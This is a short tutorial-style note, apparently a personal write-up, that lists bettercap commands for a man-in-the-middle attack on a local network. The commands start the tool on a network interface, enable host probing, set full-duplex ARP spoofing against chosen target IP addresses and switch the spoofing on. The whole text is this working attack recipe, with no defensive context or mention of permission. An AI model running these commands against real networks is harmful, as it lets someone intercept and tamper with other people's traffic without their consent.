Man In the Middle Attack Using BetterCap

#install bettercap on your linux system

bettercap -iface [network interface name]

#finding network interface name

#wlp0s20f3 is my network interface name

help

help net.probe

#you can use help if you don't know what that specific thing does

net.probe on #this should be on for spoofing 

#Be MITM

help arp.spoof

set arp.spoof.fullduplex true

set arp.spoof.targets [targets ip, targets ip]

arp.spoof on

Screenshot